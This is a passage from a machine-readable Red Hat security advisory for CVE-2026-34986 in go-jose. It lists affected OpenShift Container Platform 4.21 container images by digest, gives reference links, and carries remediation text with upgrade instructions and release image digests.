"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-34986"
},
{
"category": "external",
"summary": "RHBZ#2455470",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2455470"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-34986",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34986"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-34986",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34986"
},
{
"category": "external",
"summary": "https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8",
"url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8"
},
{
"category": "external",
"summary": "https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants",
"url": "https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants"
}
],
"release_date": "2026-04-06T16:22:45.353000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:24:00+00:00",
"details": "For OpenShift Container Platform 4.21 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:7224f77afb20aedaf82bfc13ca11699689bd5b06795d6d1740dbd4c265150c44\n\n (For s390x architecture)\n The image digest is sha256:73811451efed403727e561f1ffadc1936c71bbefbae526fcea86a88fe23473f2\n\n (For ppc64le architecture)\n The image digest is sha256:05cb0b4804507c0b5e7923b7c6bcf293bd4e2d0f476c8ec6d13b179eb3157b42\n\n (For aarch64 architecture)\n The image digest is sha256:fd193bcd1042c3f17c33e7668d7b9866b915ac07075e6c2e35b0fe396bfd9a51\n\nAll OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
